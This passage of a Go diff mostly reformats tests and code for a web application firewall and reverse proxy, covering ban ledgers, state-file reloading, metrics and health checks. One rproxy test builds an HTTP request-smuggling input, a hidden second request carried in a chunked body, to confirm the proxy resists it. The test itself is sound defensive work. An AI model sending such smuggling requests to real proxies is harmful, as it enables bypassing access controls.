-1631,7 +1834,12 @@ func TestEditOfEachReputationFileTakenIn(t *testing.T) { checks := reputation.ChecksSpent{Day: civil.DateOf(midnight()), Spent: 9} if got := params.AbuseIPDB.ChecksSpent(); got != checks { - t.Errorf("%s taken in as %+v, want %+v", abuseIPDBChecksSpentJSON, got, checks) + t.Errorf( + "%s taken in as %+v, want %+v", + abuseIPDBChecksSpentJSON, + got, + checks, + ) } } @@ -1663,14 +1871,20 @@ func TestTimesEditedWithAnOffsetWrittenBackInUTC(t *testing.T) { abuseIPDBScoresJSON, routeWatchJSON, } { written[name] = readFile(t, filepath.Join(dir, name)) - edited := stamp.ReplaceAllStringFunc(written[name], func(quoted string) string { - at, err := time.Parse(time.RFC3339Nano, strings.Trim(quoted, `"`)) - if err != nil { - t.Fatalf("%s holds %s: %v", name, quoted, err) - } + edited := stamp.ReplaceAllStringFunc( + written[name], + func(quoted string) string { + at, err := time.Parse( + time.RFC3339Nano, + strings.Trim(quoted, `"`), + ) + if err != nil { + t.Fatalf("%s holds %s: %v", name, quoted, err) + } - return `"` + at.In(ahead).Format(time.RFC3339Nano) + `"` - }) + return `"` + at.In(ahead).Format(time.RFC3339Nano) + `"` + }, + ) if !strings.Contains(edited, "+02:00") { t.Fatalf("%s holds no time:\n%s", name, edited) @@ -1744,7 +1958,12 @@ func TestFileRenamedOverAStateFileTakenIn(t *testing.T) { edit(t, dir, clientsJSON, `{"version": 1, "clients": []}`) wantTakenIn(t, lines, dir, bansJSON) - wantEqual(t, bansJSON, params.Ledger.Snapshot(), []bans.Ban{permanentBan()}) + wantEqual( + t, + bansJSON, + params.Ledger.Snapshot(), + []bans.Ban{permanentBan()}, + ) } func TestBanAddedAndLiftedThroughBansJSON(t *testing.T) { @@ -1758,8 +1977,13 @@ func TestBanAddedAndLiftedThroughBansJSON(t *testing.T) { client := netip.MustParseAddr("203.0.113.9") // An entry added, as an admin writes it, bans its netblock. - edit(t, dir, bansJSON, `{"version": 1, "bans": [{"netblock": "203.0.113.0/24", `+ - `"start": "2026-10-06T00:00:00Z", "expires": null}]}`) + edit( + t, + dir, + bansJSON, + `{"version": 1, "bans": [{"netblock": "203.0.113.0/24", `+ + `"start": "2026-10-06T00:00:00Z", "expires": null}]}`, + ) wantTakenIn(t, lines, dir, bansJSON) _, banned, _ := params.Ledger.Check(client, midnight()) @@ -1807,7 +2031,12 @@ func TestBanWithoutACauseTakenInAsAnAdmins(t *testing.T) { params := newParams(dir) lines := logInto(¶ms) files := load(t, params) - wantEqual(t, bansJSON, params.Ledger.Snapshot(), adminsBans("203.0.113.0/24")) + wantEqual( + t, + bansJSON, + params.Ledger.Snapshot(), + adminsBans("203.0.113.0/24"), + ) wantMadeByAnAdmin(t, params.Ledger, 0) err := files.WriteAll() @@ -1822,11 +2051,20 @@ func TestBanWithoutACauseTakenInAsAnAdmins(t *testing.T) { } `json:"bans"` } - err = json.Unmarshal([]byte(readFile(t, filepath.Join(dir, bansJSON))), &written) - if err != nil || len(written.Bans) != 1 || written.Bans[0].Cause != bans.CauseAdmin || + err = json.Unmarshal( + []byte(readFile(t, filepath.Join(dir, bansJSON))), + &written, + ) + if err != nil || len(written.Bans) != 1 || + written.Bans[0].Cause != bans.CauseAdmin || written.Bans[0].Reason != reason { - t.Errorf("bans.json holds %+v (%v), want the ban with the cause admin "+ - "and the reason %q", written, err, reason) + t.Errorf( + "bans.json holds %+v (%v), want the ban with the cause admin "+ + "and the reason %q", + written, + err, + reason, + ) } // Taken in while sww runs, a ban on another netblock is an @@ -1834,7 +2072,12 @@ func TestBanWithoutACauseTakenInAsAnAdmins(t *testing.T) { watch(t, files, lines) edit(t, dir, bansJSON, adminsBansJSON("198.51.100.0/24")) wantTakenIn(t, lines, dir, bansJSON) - wantEqual(t, bansJSON, params.Ledger.Snapshot(), adminsBans("198.51.100.0/24")) + wantEqual( + t, + bansJSON, + params.Ledger.Snapshot(), + adminsBans("198.51.100.0/24"), + ) wantMadeByAnAdmin(t, params.Ledger, 1) } @@ -1919,11 +2162,27 @@ func TestBrokenEditSetAsideAtTheNextWrite(t *testing.T) { waiting := params.Alerts.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError || waiting[0].Detail["file"] != path+".bad" || waiting[0].Detail["error"] != message { - t.Errorf("alerts waiting %+v, want a file_error alert for %s", waiting, path+".bad") + t.Errorf( + "alerts waiting %+v, want a file_error alert for %s", + waiting, + path+".bad", + ) } - wantFiles(t, dir, abuseIPDBChecksSpentJSON, abuseIPDBScoresJSON, alertsJSON, bansJSON, - bansJSON+".bad", clientsJSON, dnsblJSON, listsJSON, lookupsJSON, routeWatchJSON) + wantFiles( + t, + dir, + abuseIPDBChecksSpentJSON, + abuseIPDBScoresJSON, + alertsJSON, + bansJSON, + bansJSON+".bad", + clientsJSON, + dnsblJSON, + listsJSON, + lookupsJSON, + routeWatchJSON, + ) if got := readFile(t, path+".bad"); got != broken { t.Errorf("bans.json.bad holds\n%s\nwant the edit", got) @@ -1955,8 +2214,12 @@ func TestEditsTakenInAreCountedInTheMetrics(t *testing.T) { edit(t, dir, bansJSON, permanentBansJSON) wantTakenIn(t, lines, dir, bansJSON) - wantMetric(t, scrape(t, params), - `sww_state_file_edits_taken_in_total{file="bans.json",instance="app"}`, 2) + wantMetric( + t, + scrape(t, params), + `sww_state_file_edits_taken_in_total{file="bans.json",instance="app"}`, + 2, + ) } func TestEditTakenInByAWriteIsLoggedAsWatchLogsIt(t *testing.T) { @@ -2002,7 +2265,11 @@ func TestEditTakenInByAWriteIsLoggedAsWatchLogsIt(t *testing.T) { delete(byWrite, "time") if !maps.Equal(byWrite, byWatch) { - t.Errorf("the write logged %v, where Watch logged %v", byWrite, byWatch) + t.Errorf( + "the write logged %v, where Watch logged %v", + byWrite, + byWatch, + ) } } @@ -2020,8 +2287,12 @@ func TestEditsSetAsideAreCountedInTheMetrics(t *testing.T) { t.Fatalf("write: %v", err) } - wantMetric(t, scrape(t, params), - `sww_state_file_edits_set_aside_total{file="bans.json",instance="app"}`, 1) + wantMetric( + t, + scrape(t, params), + `sww_state_file_edits_set_aside_total{file="bans.json",instance="app"}`, + 1, + ) } func TestDirectoryThatCannotBeWatchedIsLogged(t *testing.T) { @@ -2149,11 +2420,16 @@ func newParams(dir string) state.Params { Now: midnight, ProcessLog: discard, Metrics: m, }), Lists: reputation.New(reputation.Params{ - BlocklistURLs: []string{blocklistURL, torURL}, Refresh: 24 * time.Hour, + BlocklistURLs: []string{ + blocklistURL, + torURL, + }, Refresh: 24 * time.Hour, Now: midnight, ProcessLog: discard, Alerts: queue, }), DNSBL: reputation.NewDNSBL(reputation.DNSBLParams{ - Zones: []string{dnsblZone}, CacheTTL: 24 * time.Hour, Timeout: time.Second, + Zones: []string{ + dnsblZone, + }, CacheTTL: 24 * time.Hour, Timeout: time.Second, Now: midnight, ProcessLog: discard, Alerts: queue, }), AbuseIPDB: reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{ @@ -2165,14 +2441,19 @@ func newParams(dir string) state.Params { }), Alerts: queue, Anomalies: anomaly.New(anomaly.Params{ - Net: anomaly.Thresholds{RequestsPerMinute: 1000}, - ASN: anomaly.Thresholds{BytesPerHour: 1 << 30}, - Total: anomaly.Thresholds{RequestsPerMinute: 1000, BytesPerMinute: 1 << 30}, - Watch: anomaly.Thresholds{RequestsPerHour: 1000}, - NetV4Prefix: 24, - NetV6Prefix: 48, - NamedNetblocks: []anomaly.NamedNetblock{{Name: "office", Netblock: office()}}, - Alerts: queue, + Net: anomaly.Thresholds{RequestsPerMinute: 1000}, + ASN: anomaly.Thresholds{BytesPerHour: 1 << 30}, + Total: anomaly.Thresholds{ + RequestsPerMinute: 1000, + BytesPerMinute: 1 << 30, + }, + Watch: anomaly.Thresholds{RequestsPerHour: 1000}, + NetV4Prefix: 24, + NetV6Prefix: 48, + NamedNetblocks: []anomaly.NamedNetblock{ + {Name: "office", Netblock: office()}, + }, + Alerts: queue, }), Now: midnight, ProcessLog: discard, @@ -2204,8 +2485,13 @@ func fill(params state.Params) { }) params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now, bans.Notes{RuleID: "env-file", Target: "path"}) - params.Ledger.BanForCrowdSec(netip.MustParsePrefix("198.51.100.9/32"), now, - now.Add(4*time.Hour), "crowdsecurity/ssh-bf", bans.Notes{}) + params.Ledger.BanForCrowdSec( + netip.MustParsePrefix("198.51.100.9/32"), + now, + now.Add(4*time.Hour), + "crowdsecurity/ssh-bf", + bans.Notes{}, + ) for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} { params.Limiter.Count(netip.MustParsePrefix(c), now, whole) @@ -2228,34 +2514,7 @@ func fill(params state.Params) { }, }) - // The copy of drop.txt was fetched an hour ago, and the fetches of it - // and of tor.txt tried since failed. - err := params.Lists.Load([]reputation.List{{ - URL: blocklistURL, Tried: now, Fetched: now.Add(-time.Hour), - Lines: []string{ - "; Spamhaus DROP List 2026/10/05 - (c) 2026 The Spamhaus Project SLL", - "203.0.113.0/24 ; SBL1", - "2001:db8::/32 ; SBL2", - }, - }, {URL: torURL, Tried: now}}) - if err != nil { - panic(err) // the copy reads - } - - params.DNSBL.Load([]reputation.Verdict{ - { - Zone: dnsblZone, Client: netip.MustParseAddr("2001:db8::1"), - Fetched: now.Add(-2 * time.Hour), - }, - {Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: now.Add(-time.Hour)}, - }) - params.AbuseIPDB.Load([]reputation.Score{ - {Client: netip.MustParsePrefix("2001:db8::/64"), Fetched: now.Add(-2 * time.Hour)}, - {Client: client, Score: 100, Fetched: now.Add(-time.Hour)}, - }) - params.AbuseIPDB.LoadChecksSpent(reputation.ChecksSpent{ - Day: civil.DateOf(now), Spent: 3, - }) + fillReputation(params, now, client) fillRouteWatch(params.RouteWatch) // An alert waiting, a repeat of it the cooldown holds back, another @@ -2282,6 +2541,51 @@ func fill(params state.Params) { }) } +// fillReputation gives the reputation lists, the DNSBL verdicts and the +// AbuseIPDB scores of fill. +func fillReputation( + params state.Params, + now time.Time, + client netip.Prefix, +) { + // The copy of drop.txt was fetched an hour ago, and the fetches of it + // and of tor.txt tried since failed. + err := params.Lists.Load([]reputation.List{{ + URL: blocklistURL, Tried: now, Fetched: now.Add(-time.Hour), + Lines: []string{ + "; Spamhaus DROP List 2026/10/05 - (c) 2026 The Spamhaus Project SLL", + "203.0.113.0/24 ; SBL1", + "2001:db8::/32 ; SBL2", + }, + }, {URL: torURL, Tried: now}}) + if err != nil { + panic(err) // the copy reads + } + + params.DNSBL.Load([]reputation.Verdict{ + { + Zone: dnsblZone, Client: netip.MustParseAddr("2001:db8::1"), + Fetched: now.Add(-2 * time.Hour), + }, + { + Zone: dnsblZone, + Client: client.Addr(), + Listed: true, + Fetched: now.Add(-time.Hour), + }, + }) + params.AbuseIPDB.Load([]reputation.Score{ + { + Client: netip.MustParsePrefix("2001:db8::/64"), + Fetched: now.Add(-2 * time.Hour), + }, + {Client: client, Score: 100, Fetched: now.Add(-time.Hour)}, + }) + params.AbuseIPDB.LoadChecksSpent(reputation.ChecksSpent{ + Day: civil.DateOf(now), Spent: 3, + }) +} + // fillRouteWatch puts the two answers filledRouteWatchJSON holds into // routeWatch: a route, and an address without a live route. func fillRouteWatch(routeWatch *routewatch.Client) { @@ -2315,7 +2619,9 @@ func permanentBan() bans.Ban { Window: "minute", Count: 1000.5, Reputation: []bans.ReputationHit{ - {Source: blocklistURL}, {Source: reputation.AbuseIPDBSource, Score: &score}, + { + Source: blocklistURL, + }, {Source: reputation.AbuseIPDBSource, Score: &score}, }, Request: bans.Request{ Time: midnight(), @@ -2325,9 +2631,14 @@ func permanentBan() bans.Ban { Status: 403, UserAgent: "scraper/1.0", }, - Requests: 1500, - Refused: 3, - EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, Admin: 1, CrowdSec: 2}, + Requests: 1500, + Refused: 3, + EarlierBans: bans.EarlierBans{ + Limit: 3, + Attack: 1, + Admin: 1, + CrowdSec: 2, + }, }, } } @@ -2352,7 +2663,10 @@ func wantLiftedBanKept( } const lifted = `"lifted": "2026-10-06T00:10:00Z"` - if got := readFile(t, filepath.Join(dir, bansJSON)); !strings.Contains(got, lifted) { + if got := readFile(t, filepath.Join(dir, bansJSON)); !strings.Contains( + got, + lifted, + ) { t.Errorf("bans.json holds\n%s\nwant the ban with %s", got, lifted) } @@ -2366,12 +2680,19 @@ func wantLiftedBanKept( // Were the lifted ban counted, the next would last three hours. ban, _ := ledger.BanForLimit(netblock, afterLifting(), bans.Notes{}) if ban.Expires.Sub(ban.Start) != time.Hour { - t.Errorf("the next ban lasts %s, want 1h", ban.Expires.Sub(ban.Start)) + t.Errorf( + "the next ban lasts %s, want 1h", + ban.Expires.Sub(ban.Start), + ) } held := ledger.Bans(netblock) - if len(held) != 2 || !held[0].Lifted.Equal(midnight().Add(10*time.Minute)) { - t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held) + if len(held) != 2 || + !held[0].Lifted.Equal(midnight().Add(10*time.Minute)) { + t.Errorf( + "the ledger holds %+v, want the lifted ban and the new one", + held, + ) } } @@ -2476,7 +2797,11 @@ func wantTakenIn(t *testing.T, lines processLog, dir, name string) { var msg string switch name { - case lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON, routeWatchJSON: + case lookupsJSON, + listsJSON, + dnsblJSON, + abuseIPDBScoresJSON, + routeWatchJSON: msg = cacheTookIn default: msg = tookIn @@ -2563,19 +2888,29 @@ func wantSetAside(t *testing.T, file, content, want string) { line := lines.waitFor(t, cacheSetAside) if message, _ := line["error"].(string); line["file"] != path+".bad" || !strings.HasPrefix(message, path+want) { - t.Errorf("set aside with %v, want %s.bad and an error starting %s%s", line, path, - path, want) + t.Errorf( + "set aside with %v, want %s.bad and an error starting %s%s", + line, + path, + path, + want, + ) } waiting := params.Alerts.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError || waiting[0].Reason != cacheSetAside { - t.Errorf("alerts waiting %+v, want a file_error alert saying %q", waiting, - cacheSetAside) + t.Errorf( + "alerts waiting %+v, want a file_error alert saying %q", + waiting, + cacheSetAside, + ) } - if len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 || - len(params.DNSBL.Snapshot()) != 0 || len(params.AbuseIPDB.Snapshot()) != 0 || + if len(params.GeoJS.Snapshot()) != 0 || + len(params.Lists.Snapshot()) != 0 || + len(params.DNSBL.Snapshot()) != 0 || + len(params.AbuseIPDB.Snapshot()) != 0 || len(params.RouteWatch.Snapshot()) != 0 { t.Error("a cache holds what a file set aside held") } @@ -2640,7 +2975,14 @@ func wantEntries(t *testing.T, path, key string, want ...string) { err := json.Unmarshal([]byte(line), &entry) if err != nil || entry.Client != client { - t.Errorf("entry %d of %s is %s (%v), want %s's", i, path, line, err, client) + t.Errorf( + "entry %d of %s is %s (%v), want %s's", + i, + path, + line, + err, + client, + ) } } } @@ -2650,8 +2992,15 @@ func scrape(t *testing.T, params state.Params) string { t.Helper() recorder := httptest.NewRecorder() - params.Metrics.ServeHTTP(recorder, - httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)) + params.Metrics.ServeHTTP( + recorder, + httptest.NewRequestWithContext( + t.Context(), + http.MethodGet, + "/", + http.NoBody, + ), + ) if recorder.Code != http.StatusOK { t.Fatalf("the metrics were answered %d", recorder.Code) @@ -2667,7 +3016,10 @@ func metric(t *testing.T, text, series string) float64 { t.Helper() for line := range strings.Lines(text) { - value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ") + value, found := strings.CutPrefix( + strings.TrimSuffix(line, "\n"), + series+" ", + ) if !found { continue } diff --git a/internal/sww/healthcheck.go b/internal/sww/healthcheck.go index 1357b57..5613232 100644 --- a/internal/sww/healthcheck.go +++ b/internal/sww/healthcheck.go @@ -31,7 +31,9 @@ var errHealthEndpoint = errors.New("the health endpoint answered") // args are the arguments after `healthcheck`; it takes none, and given // one it names it on stderr and returns 1 without checking anything. func HealthCheck( - ctx context.Context, args []string, lookupEnv func(string) (string, bool), + ctx context.Context, + args []string, + lookupEnv func(string) (string, bool), stderr io.Writer, ) int { if len(args) > 0 { @@ -85,7 +87,9 @@ func checkWAF( func checkRProxyAndApp( ctx context.Context, lookupEnv func(string) (string, bool), ) error { - listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(lookupEnv) + listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL( + lookupEnv, + ) if err != nil { return fmt.Errorf("invalid setting: %w", err) } @@ -95,7 +99,11 @@ func checkRProxyAndApp( return fmt.Errorf("ask rproxy: %w", err) } - conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL)) + conn, err := (&net.Dialer{}).DialContext( + ctx, + "tcp", + appAddress(upstreamURL), + ) if err != nil { return fmt.Errorf("connect to the app: %w", err) } @@ -109,9 +117,17 @@ func checkRProxyAndApp( // listenAddr, which the settings have checked has one. func askHealthEndpoint(ctx context.Context, listenAddr string) error { _, port, _ := net.SplitHostPort(listenAddr) - health := "http://" + net.JoinHostPort("127.0.0.1", port) + waf.HealthPath + health := "http://" + net.JoinHostPort( + "127.0.0.1", + port, + ) + waf.HealthPath - req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody) + req, err := http.NewRequestWithContext( + ctx, + http.MethodGet, + health, + http.NoBody, + ) if err != nil { return fmt.Errorf("make the request: %w", err) } diff --git a/internal/sww/healthcheck_test.go b/internal/sww/healthcheck_test.go index 081b526..750aa77 100644 --- a/internal/sww/healthcheck_test.go +++ b/internal/sww/healthcheck_test.go @@ -94,7 +94,10 @@ func TestHealthCheckInRProxysContainer(t *testing.T) { site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL) _, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://")) settings := func(more ...string) map[string]string { - env := map[string]string{rproxyListenAddr: ":" + port, rproxyUpstreamURL: app.URL} + env := map[string]string{ + rproxyListenAddr: ":" + port, + rproxyUpstreamURL: app.URL, + } for i := 0; i < len(more); i += 2 { env[more[i]] = more[i+1] } @@ -107,8 +110,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) { wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "") // SWW_COMMAND cannot be given as a file. - wantHealthCheck(t, settings(commandSetting+"_FILE", writeFile(t, "waf\n")), - 0, "") + wantHealthCheck( + t, + settings(commandSetting+"_FILE", writeFile(t, "waf\n")), + 0, + "", + ) // Another setting does not fail it, even an invalid one, and neither does // SWRP_WAF_BACKEND being unset. @@ -121,7 +128,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) { // Listening on port 0 takes any free port, so nothing listens on port 0 // itself. - wantHealthCheck(t, settings(rproxyListenAddr, ":0"), 1, "unhealthy: ask rproxy: ") + wantHealthCheck( + t, + settings(rproxyListenAddr, ":0"), + 1, + "unhealthy: ask rproxy: ", + ) wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1, "unhealthy: invalid setting: SWRP_LISTEN_ADDR: ") @@ -161,16 +173,26 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) { // wantHealthCheck runs the health check with the settings in env, and // checks its exit status and the start of what it writes to stderr, // which is nothing when message is empty. -func wantHealthCheck(t *testing.T, env map[string]string, status int, message string) { +func wantHealthCheck( + t *testing.T, + env map[string]string, + status int, + message string, +) { t.Helper() var stderr bytes.Buffer - got := sww.HealthCheck(t.Context(), nil, func(name string) (string, bool) { - value, ok := env[name] + got := sww.HealthCheck( + t.Context(), + nil, + func(name string) (string, bool) { + value, ok := env[name] - return value, ok - }, &stderr) + return value, ok + }, + &stderr, + ) wrote := stderr.String() if got != status || !strings.HasPrefix(wrote, message) || diff --git a/internal/sww/rproxy.go b/internal/sww/rproxy.go index 77ca9e7..93f3681 100644 --- a/internal/sww/rproxy.go +++ b/internal/sww/rproxy.go @@ -21,7 +21,11 @@ import ( // more severe: rproxy has no setting for either. func RunRProxy(ctx context.Context, params Params) int { hostname, _ := os.Hostname() // "" when the host has no name to give - processLog := requestlog.NewProcessLogger(params.Stdout, hostname, slog.LevelInfo) + processLog := requestlog.NewProcessLogger( + params.Stdout, + hostname, + slog.LevelInfo, + ) cfg, err := config.RProxyFromEnvironment(params.LookupEnv) if err != nil { @@ -38,7 +42,11 @@ func RunRProxy(ctx context.Context, params Params) int { listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr) if err != nil { - processLog.Error("cannot listen on SWRP_LISTEN_ADDR", "error", err.Error()) + processLog.Error( + "cannot listen on SWRP_LISTEN_ADDR", + "error", + err.Error(), + ) return 1 } diff --git a/internal/sww/rproxy_test.go b/internal/sww/rproxy_test.go index d7787e5..abfedeb 100644 --- a/internal/sww/rproxy_test.go +++ b/internal/sww/rproxy_test.go @@ -79,7 +79,11 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) { select { case status := <-exited: if status != 0 { - t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text()) + t.Errorf( + "rproxy's exit status %d, want 0; output:\n%s", + status, + out.text(), + ) } case <-time.After(waitLimit): t.Error("rproxy still running after being told to stop") @@ -94,7 +98,10 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) { // startWAF runs waf with the settings in env, and returns // its address and URL, what it writes, and what stops it, which checks that it // stopped in order. -func startWAF(t *testing.T, env map[string]string) (string, *output, func()) { +func startWAF( + t *testing.T, + env map[string]string, +) (string, *output, func()) { t.Helper() ctx, stop := context.WithCancel(t.Context()) @@ -113,7 +120,11 @@ func startWAF(t *testing.T, env map[string]string) (string, *output, func()) { select { case status := <-exited: if status != 0 { - t.Fatalf("waf's exit status %d, want 0; output:\n%s", status, out.text()) + t.Fatalf( + "waf's exit status %d, want 0; output:\n%s", + status, + out.text(), + ) } case <-time.After(waitLimit): t.Fatal("waf still running after being told to stop") @@ -341,7 +352,12 @@ func pipe(dst, src net.Conn) { // answersNormally reports whether a request to url from the client at from, as // X-Forwarded-For names it, gets the app's answer. func answersNormally(ctx context.Context, url, from string) bool { - req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, http.NoBody) + req, err := http.NewRequestWithContext( + ctx, + http.MethodGet, + url, + http.NoBody, + ) if err != nil { return false } @@ -359,7 +375,8 @@ func answersNormally(ctx context.Context, url, from string) bool { body, err := io.ReadAll(res.Body) _ = res.Body.Close() - return err == nil && res.StatusCode == http.StatusOK && string(body) == greeting + return err == nil && res.StatusCode == http.StatusOK && + string(body) == greeting } // sendRaw sends request, as it is, to rproxy at site, and returns the status of @@ -412,9 +429,16 @@ func TestAChunkedBodyStaysABodyAtWAF(t *testing.T) { waf.ClientHeader + ": " + otherClient + "\r\n" + "X-Request-ID: " + smuggledID + "\r\n\r\n" - status := sendRaw(t, site, "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+ - "X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+ - strconv.FormatInt(int64(len(smuggled)), 16)+"\r\n"+smuggled+"\r\n0\r\n\r\n") + status := sendRaw( + t, + site, + "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+ + "X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+ + strconv.FormatInt( + int64(len(smuggled)), + 16, + )+"\r\n"+smuggled+"\r\n0\r\n\r\n", + ) if status != http.StatusOK { t.Errorf("status %d, want the app's 200", status) } @@ -443,8 +467,12 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) { wantStatus(t, site+bannedProbe, placed, http.StatusForbidden) - status := sendRaw(t, site, "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+ - "X-Forwarded-For: "+placed+"\r\n\r\n") + status := sendRaw( + t, + site, + "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+ + "X-Forwarded-For: "+placed+"\r\n\r\n", + ) if status != http.StatusBadRequest { t.Errorf("status %d, want 400", status) } @@ -470,7 +498,8 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) { wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden) line := out.line(t, "path", bannedProbe) - if line["client_ip"] != "2001:db8::1" || line["default_disposition"] != nil { + if line["client_ip"] != "2001:db8::1" || + line["default_disposition"] != nil { t.Errorf("rproxy's line is %v", line) } } @@ -495,7 +524,10 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) { line := out.line(t, "path", "/") if line["status"] != float64(status) { - t.Errorf("rproxy's line is %v, want the status the visitor got", line) + t.Errorf( + "rproxy's line is %v, want the status the visitor got", + line, + ) } id, _ := line["request_id"].(string) @@ -519,7 +551,8 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) { } out := &output{} - cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary + //nolint:gosec // this test binary + cmd := exec.CommandContext(t.Context(), binary) cmd.Stdout = out cmd.Env = append(os.Environ(), @@ -540,7 +573,11 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) { select { case status := <-exited: if status != 0 { - t.Errorf("exit status %d, want 0; output:\n%s", status, out.text()) + t.Errorf( + "exit status %d, want 0; output:\n%s", + status, + out.text(), + ) } case <-time.After(waitLimit): t.Error("still running after being told to stop") @@ -587,7 +624,11 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) { "Connection": "Connection: anything\r\n", "a WebSocket upgrade": "Connection: Upgrade\r\nUpgrade: websocket\r\n", } { - status := sendRaw(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n") + status := sendRaw( + t, + addr, + "GET / HTTP/1.1\r\nHost: site.example\r\n"+headers+"\r\n", + ) if status != http.StatusForbidden { t.Errorf("with %s: status %d, want waf's 403", name, status) } @@ -595,7 +636,11 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) { select { case protocol := <-protocols: if protocol != "HTTP/1.1" { - t.Errorf("with %s: asked over %s, want HTTP/1.1", name, protocol) + t.Errorf( + "with %s: asked over %s, want HTTP/1.1", + name, + protocol, + ) } case <-time.After(waitLimit): t.Errorf("with %s: waf was not asked", name) @@ -616,7 +661,11 @@ func TestRProxyProcessLinesNameTheHostAndComeAtInfo(t *testing.T) { line := out.line(t, "msg", "starting") if line["instance"] != hostname || line["level"] != "INFO" { - t.Errorf("rproxy's line is %v, want instance %s at INFO", line, hostname) + t.Errorf( + "rproxy's line is %v, want instance %s at INFO", + line, + hostname, + ) } } @@ -681,7 +730,11 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) { select { case status := <-exited: if status != 0 { - t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text()) + t.Errorf( + "rproxy's exit status %d, want 0; output:\n%s", + status, + out.text(), + ) } case <-time.After(waitLimit): t.Error("rproxy still running, the report having been answered") @@ -755,7 +808,11 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) { }() addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string) - conn := sendAndKeepOpen(t, addr, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n") + conn := sendAndKeepOpen( + t, + addr, + "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n", + ) select { case <-asked: @@ -779,7 +836,11 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) { select { case status := <-exited: if status != 0 { - t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text()) + t.Errorf( + "rproxy's exit status %d, want 0; output:\n%s", + status, + out.text(), + ) } case <-time.After(waitLimit): t.Error("rproxy still running after the cut-off") @@ -814,7 +875,11 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) { message, _ := line["error"].(string) if !strings.HasPrefix(message, tc.setting+": ") { - t.Errorf("start refused with %v, want it to name %s", line, tc.setting) + t.Errorf( + "start refused with %v, want it to name %s", + line, + tc.setting, + ) } }) } @@ -823,7 +888,11 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) { func TestRProxyAddressInUseStopsTheStart(t *testing.T) { t.Parallel() - taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + taken, err := (&net.ListenConfig{}).Listen( + t.Context(), + "tcp", + localhost+":0", + ) if err != nil { t.Fatalf("listen: %v", err) } diff --git a/internal/sww/sww.go b/internal/sww/sww.go index ee40b0a..821fe4b 100644 --- a/internal/sww/sww.go +++ b/internal/sww/sww.go @@ -79,7 +79,11 @@ func Main(version string) int { syscall.SIGTERM, os.Interrupt) defer stop() - params := Params{Version: version, LookupEnv: os.LookupEnv, Stdout: os.Stdout} + params := Params{ + Version: version, + LookupEnv: os.LookupEnv, + Stdout: os.Stdout, + } switch args[0] { case "rproxy": @@ -111,9 +115,7 @@ func RunWAF(ctx context.Context, params Params) int { cfg, err := config.FromEnvironment(params.LookupEnv) if err != nil { - processLog.Error("invalid setting", "error", err.Error()) - - return 1 + return cannotStart(processLog, "invalid setting", err) } // While SWW_LOG_REMOTE_URL is set, every line on stdout from here on @@ -127,13 +129,38 @@ func RunWAF(ctx context.Context, params Params) int { stdout = io.MultiWriter(params.Stdout, remote) } - processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel) + processLog = requestlog.NewProcessLogger( + stdout, + cfg.InstanceName, + cfg.LogLevel, + ) if remote != nil { stopSending := startSending(ctx, remote, processLog) defer stopSending() } + return runWAFWithSettings( + ctx, + params.Version, + cfg, + stdout, + remote, + processLog, + ) +} + +// runWAFWithSettings is the rest of RunWAF once the settings are read and +// the process log goes 